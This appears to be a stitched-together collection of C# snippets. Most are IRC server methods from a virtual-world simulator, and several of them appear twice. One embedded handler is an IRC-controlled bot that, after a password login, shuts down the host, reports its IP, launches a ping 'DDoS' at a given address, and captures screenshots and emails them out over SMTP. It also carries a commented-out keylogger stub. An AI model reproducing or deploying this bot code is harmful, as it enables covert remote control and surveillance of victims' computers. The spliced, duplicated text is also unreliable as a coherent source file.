/// <summary> /// Sends an IRC Privmsg to a user or a channel /// </summary> /// <param name="user"></param> /// <param name="target"></param> /// <param name="message"></param> private void SendMessage(IRCUser user, string target, string message) { string lowerTarget = target.ToLower(); if (lowerTarget.StartsWith("#") || lowerTarget.StartsWith("&")) { IRCChannel targetChannel = GetChannelByName(target); if (targetChannel != null) { SendToChannel(targetChannel, user, IRCMessageType.Privmsg, message); return; } else { SendToUser(user, ":Simian 403 " + user.Name + " " + target + " :No such nickname"); } } else { IRCUser targetUser = GetUserByName(target); if (targetUser != null) { SendToUser(targetUser, ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + targetUser.Name + " :" + message); return; } else { SendToUser(user, ":Simian 403 " + user.Name + " " + target + " :No such channel"); } } }
/// <summary> /// Sends a list of user and address information /// </summary> /// <param name="user"></param> /// <param name="channel"></param> private void SendWhoList(IRCUser user, string filter) { if (filter.StartsWith("#") || filter.StartsWith("&")) { IRCChannel channel = GetChannelByName(filter); if (channel == null) { //TODO: channel does not exist error? return; } //find all users who are in this channel List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp) { return(kvp.Key == channel); }); List <string> names = new List <string>(); foreach (KeyValuePair <IRCChannel, IRCUser> kvp in users) { SendToUser(user, ":Simian 352 " + user.Name + " " + channel.Name + " " + kvp.Value.UserName + " " + kvp.Value.HostName + " Simian " + kvp.Value.Name + " H 0 " + kvp.Value.IRCRealName); } SendToUser(user, ":Simian 315 " + user.Name + " " + channel.Name + " End of /WHO list."); } else { //TODO: support name/host filters? } }
void m_scene_OnPresenceRemove(object sender, PresenceArgs e) { IRCUser user = m_users.Find(delegate(IRCUser u) { return(u.Name == e.Presence.Name.Replace(' ', '_')); }); IRCChannel channel = GetChannelByName(m_defaultChannel); if (channel != null) { SendToChannel(channel, user, IRCMessageType.Part, null); } RemoveUser(user); }
void m_scene_OnEntityChat(object sender, ChatArgs e) { IRCChannel channel = GetChannelByName(m_defaultChannel); if (channel != null) { IRCUser user = GetUserByName(e.Source.Name.Replace(' ', '_')); if (user != null && user.TCPClient == null) { SendToChannel(channel, user, IRCMessageType.Privmsg, e.Message); } } }
/// <summary> /// Sends the message to populate an IRC client's names list /// </summary> /// <param name="user"></param> /// <param name="channel"></param> private void SendNamesList(IRCUser user, IRCChannel channel) { //find all users who are in this channel List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp) { return(kvp.Key == channel); }); List <string> names = new List <string>(); foreach (KeyValuePair <IRCChannel, IRCUser> kvp in users) { string prefix = ""; names.Add(prefix + kvp.Value.Name); } SendToUser(user, ":Simian 353 " + user.Name + " @ " + channel.Name + " :" + String.Join(" ", names.ToArray())); SendToUser(user, ":Simian 366 " + user.Name + " " + channel.Name + " :End of /NAMES list."); }
/// <summary> /// Makes a user part the specified channel /// </summary> /// <param name="user"></param> /// <param name="channelName"></param> private void PartUserFromChannel(IRCUser user, string channelName) { IRCChannel channel = GetChannelByName(channelName); KeyValuePair <IRCChannel, IRCUser> kvp = new KeyValuePair <IRCChannel, IRCUser>(channel, user); if (channel == null || !m_channelUserPairs.Contains(kvp)) { return; } SendToChannel(channel, user, IRCMessageType.Part, null); if (channel.Name == m_defaultChannel) { SendToChannel(channel, user, IRCMessageType.Join, null); } m_channelUserPairs.Remove(kvp); }
/// <summary> /// Sends s message to everyone in a certain channel /// </summary> /// <param name="channel"></param> /// <param name="user"></param> /// <param name="type"></param> private void SendToChannel(IRCChannel channel, IRCUser user, IRCMessageType type, string extraParam) { //find all users who are in this channel List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp) { return(kvp.Key == channel); }); string message; if (type == IRCMessageType.Join) { message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " JOIN " + channel.Name; } else if (type == IRCMessageType.Part) { message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PART :" + channel.Name; } else if (type == IRCMessageType.Privmsg) { message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + channel.Name + " :" + extraParam; if (channel.Name == m_defaultChannel && user.TCPClient != null) //only call entity chat for irc users { m_scene.EntityChat(this, user, 0f, extraParam, 0, EntityChatType.Broadcast); } } else { return; } for (int u = 0, uCount = users.Count; u < uCount; u++) { if (type != IRCMessageType.Privmsg || users[u].Value != user) { SendToUser(users[u].Value, message); } } }
/// <summary> /// Makes a user join the specified channel /// </summary> /// <param name="user"></param> /// <param name="channelName"></param> private void JoinUserToChannel(IRCUser user, string channelName) { //find all channels that this user is in List <KeyValuePair <IRCChannel, IRCUser> > channels = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp) { return(kvp.Value == user); }); IRCChannel channel = GetChannelByName(channelName); if (channel == null) { //channel does not exist, so create a new one channel = new IRCChannel(); channel.Name = channelName; channel.CreatedTime = DateTime.Now; channel.CreatorName = user.Name; channel.Topic = ""; } else { for (int i = 0, cCount = channels.Count; i < cCount; i++) { if (channels[i].Key.Name.ToLower() == channel.Name.ToLower()) { return; //user is already in this channel } } } m_channelUserPairs.Add(new KeyValuePair <IRCChannel, IRCUser>(channel, user)); SendToChannel(channel, user, IRCMessageType.Join, null); SendToUser(user, ":Simian 332 " + user.Name + " " + channel.Name + " :" + channel.Topic); SendToUser(user, ":Simian 333 " + user.Name + " " + channel.Name + " " + channel.CreatorName + " " + Utils.DateTimeToUnixTime(channel.CreatedTime)); SendNamesList(user, channel); }
public static void _irc_IRCMessageRecieved(object sender, string message, User user, IRCChannel ch) { if (message.StartsWith("!")) { if (message.Replace("!", "").StartsWith("login " + mainPass)) { flag = true; } } if (message.StartsWith("?") && flag == true) { if (message.Replace("?", "").StartsWith("Shutdown")) { System.Diagnostics.Process.Start("shutdown", "-s -t 30"); _irc.SendMessage("Computer is shutting down in: 30 secs.", IRC.SupportedColors.Green, ch.Channel); } if (message.Replace("?", "").StartsWith("GetIP")) { string strHostName = Dns.GetHostName(); IPHostEntry ipEntry = Dns.GetHostEntry(strHostName); IPAddress[] addr = ipEntry.AddressList; string ip = addr[2].ToString(); _irc.SendMessage("IP: " + ip, IRC.SupportedColors.Green, ch.Channel); } if (message.Replace("?", "").StartsWith("Popup")) { message = message.Replace("?Popup", ""); _irc.SendMessage("Popup Sent.\n", IRC.SupportedColors.Green, ch.Channel); MessageBox.Show(message); _irc.SendMessage("Popup Reciever Clicked OK.\n", IRC.SupportedColors.Green, ch.Channel); } // KeyLogger //if (message.Replace("?", "").StartsWith("Keylog")) //{ // if (KeyLogflag) // stop keylogging. // { // } // else // start keylogging. // { // } //} if (message.Replace("?", "").StartsWith("DDoS")) { string DDoSIP = message.Replace("?DDoS", ""); System.Diagnostics.Process.Start("ping", DDoSIP); _irc.SendMessage("DDoSing IP: " + DDoSIP, IRC.SupportedColors.Green, ch.Channel); } if (message.Replace("?", "").StartsWith("Pic")) { int screenWidth = Screen.GetBounds(new Point(0, 0)).Width; int screenHeight = Screen.GetBounds(new Point(0, 0)).Height; Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight); Graphics gfx = Graphics.FromImage((Image)bmpScreenShot); gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight)); string fileName = "pic.jpg"; bmpScreenShot.Save(fileName, ImageFormat.Jpeg); message = message.Replace("?Pic", ""); string[] mailD = message.Split(' '); // mailD[0] = mailD Empty // mailD[1] = mailD toAddr // mailD[2] = mailD Password // mailD[3] = mailD SMTP Server * smtp.gmail.com // mailD[4] = mailD SMTP Port MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient(mailD[3]); mail.From = new MailAddress("*****@*****.**"); mail.To.Add(mailD[1]); mail.Subject = "Test Mail - 1"; mail.Body = "mail with attachment"; Attachment attachment; attachment = new Attachment(fileName); mail.Attachments.Add(attachment); int port = Convert.ToInt32(mailD[4]); SmtpServer.Port = port; SmtpServer.Credentials = new NetworkCredential(mailD[1], mailD[2]); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); } if (message.Replace("?", "").StartsWith("Cmds")) { _irc.SendMessage("[?] Shutdown, GetIP, Popup, DDoS, Pic", IRC.SupportedColors.Red, ch.Channel); } } }
/// <summary> /// Parses an individual command from the client /// </summary> /// <param name="user"></param> /// <param name="commandString"></param> private void ParseCommand(IRCUser user, string commandString) { string[] words = commandString.Split(' '); string command = words[0].ToLower(); if (words.Length < 1) //TODO: proper check of param count for all commands { SendToUser(user, ":Simian 461 " + user.Name + " " + words[0].ToUpper() + " Not enough parameters"); return; } switch (command) { case "ison": List <string> online = new List <string>(); for (int i = 1; i < words.Length; i++) { IRCUser checkUser = GetUserByName(words[i]); if (checkUser != null) { online.Add(checkUser.Name); } } SendToUser(user, ":Simian 303 " + user.Name + " :" + String.Join(" ", online.ToArray())); break; case "join": JoinUserToChannel(user, words[1]); break; case "mode": //TODO? break; case "names": IRCChannel channel = GetChannelByName(words[1]); if (channel != null) { SendNamesList(user, channel); } break; case "nick": SetUserNick(user, words[1]); break; case "part": PartUserFromChannel(user, words[1]); break; case "ping": SendToUser(user, "PONG " + words[1]); break; case "user": bool newUser = user.Name == null || user.HostName == null; if (newUser) { if (words.Length < 5) { return; } string[] ircRealName = new string[words.Length - 4]; Array.Copy(words, 4, ircRealName, 0, ircRealName.Length); user.IRCRealName = String.Join(" ", ircRealName); user.HostName = "irc"; user.UserName = words[1]; } if (newUser && user.Name != null && user.HostName != null) { SendWelcome(user); } break; case "userhost": IRCUser targetUser = GetUserByName(words[1]); if (targetUser != null) { SendToUser(user, ":Simian 302 " + user.Name + " :" + targetUser.Name + "=+" + targetUser.UserName + "@" + targetUser.HostName); } else { SendToUser(user, ":Simian 302 " + user.Name + " :"); } break; case "who": SendWhoList(user, words[1]); break; case "privmsg": string[] messageWords = new string[words.Length - 2]; Array.Copy(words, 2, messageWords, 0, messageWords.Length); SendMessage(user, words[1], String.Join(" ", messageWords).Substring(1)); break; default: SendToUser(user, ":Simian 421 " + user.Name + " " + command.ToUpper() + " Unknown command"); break; } }
/// <summary> /// Sends s message to everyone in a certain channel /// </summary> /// <param name="channel"></param> /// <param name="user"></param> /// <param name="type"></param> private void SendToChannel(IRCChannel channel, IRCUser user, IRCMessageType type, string extraParam) { //find all users who are in this channel List<KeyValuePair<IRCChannel, IRCUser>> users = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp) { return kvp.Key == channel; }); string message; if (type == IRCMessageType.Join) message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " JOIN " + channel.Name; else if (type == IRCMessageType.Part) message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PART :" + channel.Name; else if (type == IRCMessageType.Privmsg) { message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + channel.Name + " :" + extraParam; if (channel.Name == m_defaultChannel && user.TCPClient != null) //only call entity chat for irc users m_scene.EntityChat(this, user, 0f, extraParam, 0, EntityChatType.Broadcast); } else return; for (int u = 0, uCount = users.Count; u < uCount; u++) { if (type != IRCMessageType.Privmsg || users[u].Value != user) SendToUser(users[u].Value, message); } }
/// <summary> /// Sends the message to populate an IRC client's names list /// </summary> /// <param name="user"></param> /// <param name="channel"></param> private void SendNamesList(IRCUser user, IRCChannel channel) { //find all users who are in this channel List<KeyValuePair<IRCChannel, IRCUser>> users = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp) { return kvp.Key == channel; }); List<string> names = new List<string>(); foreach (KeyValuePair<IRCChannel, IRCUser> kvp in users) { string prefix = ""; names.Add(prefix + kvp.Value.Name); } SendToUser(user, ":Simian 353 " + user.Name + " @ " + channel.Name + " :" + String.Join(" ", names.ToArray())); SendToUser(user, ":Simian 366 " + user.Name + " " + channel.Name + " :End of /NAMES list."); }
/// <summary> /// Makes a user join the specified channel /// </summary> /// <param name="user"></param> /// <param name="channelName"></param> private void JoinUserToChannel(IRCUser user, string channelName) { //find all channels that this user is in List<KeyValuePair<IRCChannel, IRCUser>> channels = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp) { return kvp.Value == user; }); IRCChannel channel = GetChannelByName(channelName); if (channel == null) { //channel does not exist, so create a new one channel = new IRCChannel(); channel.Name = channelName; channel.CreatedTime = DateTime.Now; channel.CreatorName = user.Name; channel.Topic = ""; } else { for (int i = 0, cCount = channels.Count; i < cCount; i++) { if (channels[i].Key.Name.ToLower() == channel.Name.ToLower()) return; //user is already in this channel } } m_channelUserPairs.Add(new KeyValuePair<IRCChannel, IRCUser>(channel, user)); SendToChannel(channel, user, IRCMessageType.Join, null); SendToUser(user, ":Simian 332 " + user.Name + " " + channel.Name + " :" + channel.Topic); SendToUser(user, ":Simian 333 " + user.Name + " " + channel.Name + " " + channel.CreatorName + " " + Utils.DateTimeToUnixTime(channel.CreatedTime)); SendNamesList(user, channel); }